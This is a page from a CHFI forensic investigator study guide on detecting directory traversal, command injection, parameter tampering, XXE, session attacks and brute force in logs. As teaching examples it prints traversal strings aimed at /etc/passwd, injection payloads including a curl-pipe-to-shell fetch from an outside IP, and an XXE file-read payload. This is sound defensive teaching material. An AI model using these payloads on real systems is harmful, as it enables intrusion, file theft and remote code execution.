Study guide

13.5 Investigating Directory Traversal, Command Injection, Parameter Tampering, XXE, Cookie Poisoning & Brute Force

Computer Hacking Forensic Investigator CHFI 312-49

Track your progress as you read

Finished sections get a check mark.

1 Chapter 1: Foundations of Digital Forensics & Cybercrime Investigation

1.1 Cybercrime Classifications, Forensic Science Principles & Legal Admissibility 1.2 RFC 3227 Order of Volatility, Live vs. Dead Acquisition & Forensic Readiness 1.3 Indicators of Compromise (IoCs), Cyber Attribution & Threat Intelligence 1.4 AI-Assisted Forensics, GitOps, Automation/Orchestration & Forensics-as-a-Service (FaaS)

2 Chapter 2: Modern Forensic Environments & Emerging Threats

2.1 Fileless Malware, In-Memory Execution & Living-off-the-Land (LotL) 2.2 IoT & Operational Technology (OT/SCADA) Forensic Fundamentals 2.3 Dark Web, Tor Network, Onion Routing & Hidden Services Forensics 2.4 Blockchain Transactions, Cryptocurrency Tracing & Digital Asset Investigations

3 Chapter 3: Legal Frameworks, Search Warrants & Evidence Rules

3.1 Federal Rules of Evidence (FRE 702, 901, 902, 1001-1003) & Daubert/Frye Standards 3.2 Fourth Amendment, Warrant Exceptions, Workplace Search & Consent Protocols 3.3 International Standards: ISO/IEC 27037, ACPO Principles & ENFSI Guidelines 3.4 Cybercrime Statutes, Privacy Compliance, CAN-SPAM & International Cooperation

4 Chapter 4: eDiscovery, Chain of Custody & Professional Ethics

4.1 Electronic Discovery Reference Model (EDRM) & Legal Spoliation Holds 4.2 Chain of Custody Documentation, Evidence Packaging & Tamper-Evident Handling 4.3 Expert Witness Testimony, Report Writing Standards & EC-Council Code of Ethics

5 Chapter 5: Storage Architecture, Boot Sequences & Media Forensics

5.1 Storage Media Architecture: Sectors, Clusters, RAM/File Slack & Unallocated Space 5.2 Partition Tables & Boot Structures: MBR, GPT, VBR, BIOS vs. UEFI Secure Boot 5.3 RAID Reconstruction (RAID 0, 1, 5, 6, 10) & SSD Forensic Challenges (TRIM, Wear Leveling)

6 Chapter 6: Windows File Systems: NTFS & FAT

6.1 NTFS Architecture: Master File Table ($MFT) Record Structure & Attribute Headers 6.2 NTFS Artifacts: Alternate Data Streams (ADS), Volume Shadow Copies (VSS) & $LogFile 6.3 FAT12/16/32 and exFAT Architecture, Directory Entries & File Deletion Mechanics

7 Chapter 7: Non-Windows File Systems & File Signatures

7.1 Linux File Systems: ext2/ext3/ext4 Inode Architecture, Superblocks & Journaling Forensics 7.2 macOS File Systems: HFS+ and Apple File System (APFS) Architecture & Snapshots 7.3 File Signatures, Magic Bytes, Hex Headers/Footers & File Carving Techniques

8 Chapter 8: Investigation Lifecycle, Lab Setup & First Response

8.1 Forensic Laboratory Accreditation: ISO/IEC 17025 Standards & Hardware/Software Controls 8.2 First Responder Duties: Crime Scene Containment, Electronic Triage & Volatile Triage 8.3 Physical Evidence Packaging, Anti-Static/Faraday Protection & Transport Security

9 Chapter 9: Forensic Acquisition & Verification Methodology

9.1 Hardware and Software Write-Blockers: Operational Validation & Bridge Verification 9.2 Bit-Stream Disk Imaging, Physical vs. Logical vs. Targeted Acquisition Methodology 9.3 Forensic Image Formats (RAW/DD, E01, AFF) & Cryptographic Hashing Verification (MD5, SHA-256)

10 Chapter 10: Anti-Forensics Techniques & Countermeasures

10.1 Steganography Detection: Spatial/Frequency Domain Steganalysis & Hidden Carrier Extraction 10.2 Timestomping Countermeasures: Comparing $STANDARD_INFORMATION vs $FILE_NAME Timestamps 10.3 Secure Wiping, Degaussing, File Shredding Countermeasures & Residual Artifact Recovery

11 Chapter 11: Windows Operating System Forensics

11.1 Windows Registry Forensics: SYSTEM, SOFTWARE, SAM & NTUSER.DAT Hive Analysis 11.2 Execution Artifacts: Prefetch (.pf), Shimcache (AppCompatCache), Amcache.hve & UserAssist 11.3 User Activity Artifacts: ShellBags, LNK Shortcut Files, Jump Lists & Recycle Bin ($I/$R) 11.4 Windows Event Log Forensics: Security Audit IDs (4624, 4625, 4688, 4720, 7045) & EVTX Parsing

12 Chapter 12: Memory Forensics & Malware Analysis

12.1 Volatile Memory Acquisition: RAM Capture, Crash Dumps, Hiberfil.sys & Pagefile.sys 12.2 Memory Analysis with Volatility 3: pslist, pstree, malfind, netscan & Vadinfo 12.3 Static Malware Triage: Strings, PE Headers, Import Tables, Hashes & YARA Rule Matching 12.4 Dynamic Malware Analysis: Sandboxing, Process Monitor (Procmon), Regshot & Network Callouts 12.5 .NET Managed Malware Analysis & the GOOTLOADER Fileless Infection Chain

13 Chapter 13: Network, Web Application & Email Forensics

13.1 Network Forensics: PCAP Analysis, Protocol Dissection, Snort/Suricata & Flow Analysis 13.2 Web Server Forensics: Apache/IIS Access Logs, SQL Injection, XSS & Web Shell Detection 13.3 Email Forensics: RFC 5322 Headers, Authentication (SPF, DKIM, DMARC) & Mbox/PST Extraction 13.4 SIEM Event Correlation, Cross-Source Timeline Analysis & Super-Timeline Construction 13.5 Investigating Directory Traversal, Command Injection, Parameter Tampering, XXE, Cookie Poisoning & Brute Force 13.6 Network Device & Service Log Forensics: Firewall, IDS, Honeypot, Router, DHCP, Switch, VPN, DNS & SSH 13.7 Wireless Network Forensics: Rogue APs, Evil Twins, MAC Spoofing, Deauthentication & Jamming

14 Chapter 14: Mobile, Cloud & IoT Forensics

14.1 Mobile Device Forensics: Manual, Logical, File System & Physical Extraction (Android/iOS) 14.2 Mobile Artifact Analysis: Call Logs, SMS/Chat SQLite Databases, Location Data & Plists 14.3 Cloud Forensics: AWS CloudTrail, Azure Activity Logs & Multi-Tenant Evidence Collection 14.4 IoT Forensics: UART/JTAG Physical Interfaces, Firmware Extraction & Sensor Telemetry

15 Chapter 15: Commercial & Open-Source Forensic Suites

15.1 Commercial Forensic Platforms: EnCase Forensic, FTK (Forensic Toolkit) & FTK Imager 15.2 Open-Source Forensic Platforms: Autopsy, The Sleuth Kit (TSK) & SIFT/CAINE Workstations 15.3 Specialized DFIR Utilities: Eric Zimmerman Tools (EZ Tools) & Sysinternals Forensic Suite

16 Chapter 16: Analysis Toolkits, Python Scripting & Tool Validation

16.1 Reverse Engineering & Password Cracking: Ghidra, IDA Pro, Hashcat & John the Ripper 16.2 Python for Digital Forensics: Parsing Raw Artifacts, Custom Scapy Scripts & Evidence Automation 16.3 Forensic Tool Testing & Validation: NIST CFTT Methodology, ISO/IEC 17025 Standards & Daubert Compliance

17 Chapter 17: Database Forensics & Web Application Firewalls

17.1 MySQL Forensics: Internal Architecture, Data Directory, Information Schema & Utility Programs 17.2 SQL Server Forensics: SSMS, ApexSQL, SQLCMD Transaction-Log Collection, Plan Cache & Trace Files 17.3 Web Application Firewall (WAF) Architecture, Audit Logs, Benefits & Limitations

18 Chapter 18: Social, Virtualized, Multimedia & Browser Investigations

18.1 Social Media, Social Engineering, Insider Threat & Identity Theft Forensics 18.2 Virtualization, Container & Microservices Forensics, Bluetooth and Electron Chat Applications 18.3 Multimedia Forensics: Image, Audio & Video Authentication, EXIF, PRNU and Deepfake Detection 18.4 Browser Artifact Recovery, Private Browsing, USB Enumeration, Partition Recovery & Packer Unpacking Tools

13.5 Investigating Directory Traversal, Command Injection, Parameter Tampering, XXE, Cookie Poisoning & Brute Force

Key Takeaways Explain This Topic AI

Directory traversal appears in logs as encoded dot-dot-slash sequences (%2e%2e%2f, double-encoded %252e%252e%252f, and UTF-8 overlong forms), and success is confirmed by an HTTP 200 with an sc-bytes value matching the size of the targeted system file.

Command injection is identified by shell metacharacters (; | & && $( ) backticks and newlines) inside parameters, corroborated by a web-server process spawning a shell child such as cmd.exe or /bin/sh in Event ID 4688 or auditd execve records.

Parameter tampering leaves no malformed syntax at all, so it is detected by comparing submitted values against server-side authoritative state — price, quantity, role, and object identifiers reaching the application from a client-controlled field.

XXE is proven by an inbound request containing a DOCTYPE with an external ENTITY declaration; blind XXE is proven by the out-of-band DNS or HTTP callback to the attacker's DTD host rather than by the response body.

Cookie poisoning and session fixation are exposed by a single session identifier used from multiple source IP addresses or user agents, or by a privilege field carried inside an unsigned cookie value.

Last updated: September 2026

13.5 Investigating Directory Traversal, Command Injection, Parameter Tampering, XXE, Cookie Poisoning & Brute Force

Quick Answer: Blueprint Domain 5 requires investigating cross-site scripting, SQL injection, and directory traversal , then command injection, parameter tampering, and XML external entity attacks , then brute force and cookie poisoning . Each leaves a different evidentiary fingerprint. Traversal and injection leave syntactic anomalies in the request. Parameter tampering leaves semantically valid but authoritatively wrong values . XXE leaves a DOCTYPE/ENTITY declaration or an out-of-band callback . Cookie poisoning leaves one session identifier across many clients . Brute force leaves a status-code pattern : a long run of 401/403 terminated by a 200.

Directory (Path) Traversal

Traversal abuses a file-path parameter to escape the web root and read arbitrary files: /etc/passwd , /etc/shadow , web.config , C:\Windows\win.ini , or application configuration holding database credentials.

Encoding Variants That Defeat Naive Log Greps

  • Form Encoded representation
  • Plain ../../../../etc/passwd
  • URL-encoded %2e%2e%2f%2e%2e%2f
  • Double-encoded %252e%252e%252f (decodes to %2e%2e%2f , then to ../ )
  • Backslash (Windows) ..\..\..\windows\win.ini or %2e%2e%5c
  • UTF-8 overlong %c0%ae%c0%ae%2f
  • Null-byte truncation (legacy) ../../etc/passwd%00.jpg
  • Mixed/nested ....//....// (defeats a single non-recursive strip of ../ )
  • Log Signature and Proof of Success

An IIS cs-uri-query or Apache request line containing any of the above is an attempt . Success requires reading the response fields: 2026-09-14 03:21:44 10.0.2.15 GET /download.aspx file=../../../../windows/win.ini

80 - 203.0.113.44 Mozilla/5.0 200 0 0 1094 412

sc-status 200 with sc-bytes 1094 — a plausible size for the requested system file rather than the application's normal page size — indicates the file was served. A 404 or 403 , or an sc-bytes value equal to the standard error-page size, indicates the attempt failed. Correlate against the file system: the target file's $STANDARD_INFORMATION last-access time (where access-time updating is enabled) or the web application's own audit log should show the read.

Command Injection

Command injection occurs when user input reaches a shell. The decisive host-side artifact is a web-server process spawning a shell child .

Metacharacters to Hunt

; | || & && ` $(...) %0a (newline) %0d — plus their URL-encoded forms %3B %7C %26 . GET /diag/ping.php?host=127.0.0.1%3Bcat%20/etc/passwd HTTP/1.1

  • GET /tools/lookup.aspx?ip=8.8.8.8%7Cwhoami HTTP/1.1
  • POST /admin/backup target=$(curl%20http://203.0.113.44/s.sh|sh)
  • Corroborating Host Evidence — the Part That Convicts

Platform Artifact Signature of compromise

Windows/IIS Event ID 4688 process creation Parent w3wp.exe → child cmd.exe , powershell.exe , net.exe , whoami.exe

Linux/Apache auditd execve records Parent apache2 / httpd / php-fpm → /bin/sh , /usr/bin/curl , /usr/bin/wget

Both Outbound connections Web server host initiating egress to an unfamiliar IP (tool download or reverse shell)

Both File creation in web root Newly created .php , .aspx , .jsp under a writable upload directory (web shell)

Important

A web server process should essentially never have a shell child. That single parent-child relationship converts an ambiguous request-log anomaly into a defensible finding of remote code execution, and it is the correlation an exam scenario is usually steering toward.

Parameter Tampering

This is the quietest of the blueprint's web attacks because nothing about the request is malformed . The attacker intercepts a request with a proxy and changes a value the application wrongly trusted the client to supply.

  • Tampered element Example Business impact
  • Hidden form field price=899.00 → price=1.00 Fraudulent purchase
  • Quantity qty=1 → qty=-5 Negative-total refund abuse
  • Role/privilege role=user → role=admin Privilege escalation
  • Object identifier (IDOR) invoice_id=4471 → invoice_id=4472 Horizontal access to another customer's data
  • Currency or discount discount=0 → discount=95 Revenue loss
  • Workflow state step=payment → step=confirmed Order without payment

How to detect it forensically: you cannot find it in a syntax scan. You must reconcile the request against authoritative server-side state — join the web log or application audit log to the product catalog price, the entitlement table, or the object-ownership table, and surface every transaction where the submitted value diverges from the authoritative value. For IDOR specifically, join request identifiers to the session's owning account and flag every request whose identifier belongs to a different account. A run of sequential identifiers from one session is the classic enumeration pattern.

XML External Entity (XXE) Injection

XXE abuses an XML parser configured to resolve external entities, turning a document upload or API call into arbitrary file read or server-side request forgery. <?xml version="1.0"?>

  • <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
  • <order><customer>&xxe;</customer></order>

Variant Mechanism Forensic evidence

In-band (classic) Entity value echoed in the HTTP response Response body containing file contents; request body retains the <!DOCTYPE ... ENTITY ...> declaration

Blind / out-of-band External DTD fetched from attacker host; data exfiltrated in a URL DNS query and HTTP request from the web server to the attacker's domain — the primary evidence

SSRF pivot SYSTEM "http://169.254.169.254/latest/meta-data/" Web server requesting the cloud instance metadata endpoint

Billion Laughs / XML bomb Nested entity expansion Memory exhaustion, parser crash, denial of service in application logs

Warning

Blind XXE is invisible in the HTTP response. The proof lives in egress telemetry : DNS resolver logs showing the web server resolving an attacker-controlled domain, and proxy or firewall logs showing an outbound fetch of a .dtd . If the investigation only reviews inbound web logs, blind XXE is missed entirely. Request-body logging must also be enabled — default IIS and Apache access logs record the URI, not the POST body, so the <!DOCTYPE> declaration never reaches the access log. A WAF audit log or application-level logging is usually the only place the payload is preserved.

Cookie Poisoning and Session Attacks

Attack Mechanism Log signature

Cookie poisoning Attacker edits an unsigned cookie value ( role=admin , uid=1 , authenticated=true ) Privileged action from a session whose server-side record shows no privilege grant

Session hijacking Stolen session identifier replayed One session ID appearing from two or more distinct source IPs or user agents , often geographically impossible

Session fixation Attacker sets a known session ID before login; the app fails to regenerate it on authentication The same session identifier persisting across the authentication event

Cookie replay Captured cookie reused after logout Requests with a valid session ID arriving after the logout event was logged

The reconstruction technique: pivot the web log on the session identifier rather than on the IP address. Group all requests carrying one session token and inspect the distinct c-ip and cs(User-Agent) values. A legitimate session shows one client; a hijacked session shows a handoff, and the timestamp of the first request from the second client dates the compromise.

Also inspect cookie attributes recorded in Set-Cookie responses: a session cookie lacking HttpOnly is stealable by XSS, lacking Secure is stealable on any cleartext hop, and lacking SameSite is usable in cross-site request forgery.

Brute Force and Credential Attacks

Brute force is a statistical pattern rather than a syntactic one.

  • Variant Distinguishing pattern
  • Classic brute force Many passwords against one account from one source; dense 401 / 403 burst

Password spraying One or two passwords against many accounts, slowly — evades per-account lockout and looks like ordinary failed logins unless aggregated by source IP

Credential stuffing Breach-corpus pairs against many accounts; high volume, low per-account attempts, heavy proxy rotation

Success The status-code transition: a long run of 401 from a source, then a single 200 — that timestamp is the compromise

Corroborating host evidence: Windows Event ID 4625 (failed logon) with the status/sub-status codes distinguishing bad password ( 0xC000006A ) from unknown username ( 0xC0000064 ), followed by 4624 with Logon Type 3 (network) or 10 (RemoteInteractive). On Linux, /var/log/auth.log or /var/log/secure shows repeated Failed password for <user> from <IP> port <n> ssh2 followed by Accepted password .

The detection trap: filtering on a threshold of failures per account misses password spraying entirely. Aggregate by source IP and by time window across all accounts , and the spray becomes obvious.

Loading diagram... Evidence Class by Web Attack Type